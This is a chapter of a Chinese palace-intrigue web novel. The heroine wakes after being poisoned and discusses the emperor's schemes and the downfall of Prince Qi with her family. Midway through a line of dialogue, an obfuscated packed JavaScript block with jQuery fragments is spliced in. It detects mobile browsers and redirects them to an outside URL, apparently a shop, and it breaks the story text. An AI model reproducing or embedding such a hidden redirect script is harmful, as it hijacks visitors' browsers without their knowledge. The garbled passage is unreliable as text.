67. 棋子

作品:《骄阳落宫墙

    骄阳再醒来时,已经是回到长公主府的第十二天。


    她最先恢复的是嗅觉,能闻到屋内令人精神放松的熏香。然后睁开眼,想要开口要水喝,一转头就看到了不远处茶桌旁坐着的在看账本的秦明玉。还有——


    “母亲快来,骄阳醒了。”秦明玉心有所感的转过头,正好对上骄阳的视线,连忙喊道。


    坐在窗边榻上的长公主听到秦明玉的话,放下手中册子快步走了过来,见骄阳真的醒了,一开口声音里就带上了哭腔,“陆道长说你大概今天能醒,就真醒了。”


    “陆道长医术精湛,说的自然是准的。这次多亏了她,骄阳才能逢凶化吉。”秦明玉同样激动,说完就起身唤炊烟进来。


    “炉子上有温热的燕窝粥,你刚醒,吃点好消化的温润滋补之物最好。”秦明玉柔声道。


    骄阳想要点头的,但一点力气都没有,只能眨了眨眼示意自己听到了。


    燕窝粥是林菡端进来的,她听师父说今天骄阳会醒,就一直守着。


    “臣女先替公主把脉。”林菡道。


    “好姑娘,我知道你和骄阳是好朋友,在我面前也不用这么拘谨,像你们平时相处一样就好。”长公主慈爱的说道。


    “是。”林菡仔细替骄阳把脉,向骄阳解释道:“观……善堂里有事,师父也是确认你无碍后才离开的。现在骄阳体内两种毒师父已经都解了,就是身体虚弱,需好好补回来。”


    “那就好那就好。”长公主松了口气,“还有什么要注意的,林小姐尽管交代。”


    “这……”林菡看了骄阳一眼,“养身体的话不能思虑过重,这对骄阳难了点。”


    “不能思虑过重,我记下了。”长公主点点头,见林菡把骄阳的手腕放下,看着骄阳的手腕又是一阵心痛。“我的儿,又让你受苦了。看你瘦成什么样子了。”


    “母亲别太激动了。”秦明玉劝说道,“骄阳这次体内的毒都解了是好事,迈过这道坎,她以后定然能万事顺遂。”


    “你说得对。”长公主用手帕拭去眼角的泪,“以后母亲在你们身边,就算是天王老子来了,也休想再让你们受一丝一毫的委屈。”


    骄阳望着母亲,嘴角不由得勾起一抹弧度。她们上次见面是什么时候来着,十一年,还是十二年前……


    她们母女分隔两地,皇上刻意为难下,已经有十几年没见了。


    回京从宫中复命后,长公主就一直守在骄阳身边,一守就是十几天。


    十二年前,骄阳在北疆突发恶疾昏迷不醒,长公主寻遍了北疆的名医,最后有一位郎中犹犹豫豫的说恐怕不是病是毒。


    那时长公主就知道,女儿怕是没办法留在她身边了。


    她也想过带着两个女儿回上京,母女三人在长公主府中过安稳日子。但边关战时吃紧,她擅谋虑能为丈夫出谋划策,更能以长公主的身份为北疆军筹谋粮草。


    边关需要她。更重要的是,皇上不希望她留在上京。


    北疆军由秦英执掌,秦英在北疆军中的威望远胜皇帝。多一个长公主,对秦英已经到顶的威望没有多少加成。


    和长公主在边关受人尊敬相比,让她在权力中心的上京城收买人心、招揽权贵,才更令皇上担忧。


    对皇帝来说,将长公主夫妻放在边关,留下他们的一对女儿在上京,既能挟制他们夫妻,又能给自己博一个好名声,这才是最合适的买卖。


    所以骄阳和秦明玉姐妹必须留在上京。而长公主,必须留在北疆。


    在骄阳和秦明玉出生的那一刻,就注定了要和家人分离的命运。


    如今刚和狼胥部和谈,秦修煜又已战死。眼下皇上想做的,就是把长公主和镇北王都留在上京,一点点的夺走他们手中的兵权。


    但骄阳可不会任他摆布,秦家其他人也不会。


    骄阳有时会想,还好皇上才四十出头,有的可活,她还有机会把皇上施加在她身上的痛苦报复回去。若是皇上七老八十了,活的差不多了没折腾两下就死了,那她要怄坏了。


    不过看皇上对长生的执着,就算他七老八十了,也觉得自己还能再活几百年,死了就亏了的。


    骄阳脑子里乱七八糟的想了一堆,喝完粥后总算恢复了些气力。


    镇北王和秦修远也来了,隔着屏风关切的询问骄阳的情况。


    “咳咳,”骄阳喝完粥又喝了半杯温水,喉咙处的不适缓和了不少。“二哥,宋副将如何了?”


    秦修远没想到骄阳醒来后第一句话是问宋嘉誉的,一时间心里有些不是滋味。不过想到宋嘉誉是为了护骄阳受的伤,就也不好说什么。


    “宋副将右手臂的伤还要休养,好在不算严重。父亲和母亲也送了不少伤药和补药到安远侯府,只要养好了不会有什么后遗症。我昨日在京营见到宋副将,他右手还用不了,但左手也能将长枪武的虎虎生威。”秦修远说着,语气中不自觉的带着几分欣赏。


    那就好。骄阳心里松了口气。


    身边长公主一直盯着骄阳看,眼神一瞬不曾错开,看的骄阳有些不好意思。


    “母亲。”


    “是母亲害你至此的。”长公主一开口又要落泪。


    “母亲说的这是什么话,女儿……咳咳。”骄阳喉咙不适,说了几句话又开始咳嗽。


    “骄阳醒了是好事,别说这些伤心事了。”镇北王劝道。


    “对对对,不该说这些的。”长公主也很是懊恼。


    秦明玉帮妹妹拍背顺气,林菡又端了半杯温水过来。


    骄阳抿了一口水,压下喉咙处的不适。


    不适感稍稍缓和后,问道:“母亲,你们是和齐王一起回来的吗?皇上可有说如何处置齐王?”


    “啊?”长公主也没想到话题转变的这么快,还想和女儿温馨几句的。不过骄阳问了,长公主也很快整理思绪说道:“我和你父亲将齐王压回来的。皇上对齐王私采铁矿一事表现得很愤怒,但斥责了几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373639|196646||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    句后还没有后续的处罚。”


    长公主是生长在权利旋涡的皇宫中的,几句话就将皇上的态度明明白白的展现在骄阳面前——皇上不打算重罚齐王,但是又不能处罚的太轻,不然不足以警示其他人。


    “咳咳,皇上年纪上来了竟然生出点父爱出来。”骄阳唇角勾起嘲讽的弧度,“也就会在上京城找个宅子把齐王圈禁起来吧。”


    “我也是这么想的。”长公主点点头。


    屏风外的秦修远不安地吞了口口水,他们如此随意议论皇上真的好吗?


    还不待他适应,骄阳又问道:“邹同回来了吗?”


    这次回答的人是林菡,“邹同一路病着回来的,皇上对他大加赞赏还升了他的官职,破格提拔他为礼部侍郎。”


    “要说这邹同也挺奇怪的。”屏风外秦修远忍不住插话,“他和齐王看着像是狼狈为奸的同伙,没想到他会反水出面检举齐王。”


    北疆离齐地和广宁府不远,对这两地的事情和官员,秦修远了解的也比较多。秦修煜的死和齐王脱不了干系,他还想回京后要收拾齐王,没想到齐王自己先翻船了。


    “他们当然是狼狈为奸的同伙,如果没有邹同替齐王遮掩为他提供方便,齐王哪能真挟持一府知府靠着威胁对方去对方管界采矿的。”骄阳淡声道:“是我找人装作邹同的下属将证据送到墨承渊手上,再由墨承渊禀报给皇上的。”


    “啊?”秦修远傻了眼,“所以邹同他……怪不得他病了,原来是吓得。那万一齐王反过来指证邹同是他的同伙,那他,他们……”


    “那也和我无关了。”反正她派去送信的人已经走了,墨承渊想找都找不到,到时候就算齐王和邹同互咬,怎么也攀扯不到她身上。


    “父亲母亲二哥,你们可知我身上的毒都是哪里来的?”骄阳垂下眼,声音低落的问道。


    “银月,是皇上给你下的?”长公主问。


    “嗯。”骄阳点头。


    “什么?”秦修远抬高了声音,激动的从椅子上跳起来。“皇上竟然给你下毒?”


    “坐好。”镇北王斥责道,“慌慌张张的像什么样子。”


    长公主:“还有一种毒,陆道长说叫做牵机,那是……”


    “应是秦王通过齐王母妃之手给我下的。牵机是烈性毒,中毒者毒发后半日内就会离世。我因体内有银月之毒和牵机相互抵消,因祸得福反而……咳咳。”


    “我来说吧。”林菡见骄阳不适,替骄阳将她中毒的事情简单说了一遍。


    长公主几人听完一阵心惊,不敢想骄阳受了多少苦。


    “哎。”骄阳柔弱的靠在床头,“皇上和秦王,既想通过我拉拢父亲母亲,又想我死在对方的势力范围里。我不过是他们权利博弈中的一枚棋子罢了。”


    “这两个混蛋……”长公主气的手都在抖。


    “母亲,女儿不想在做棋子了。”骄阳眼眶通红的样子好不可怜,“女儿也想做执棋之人。”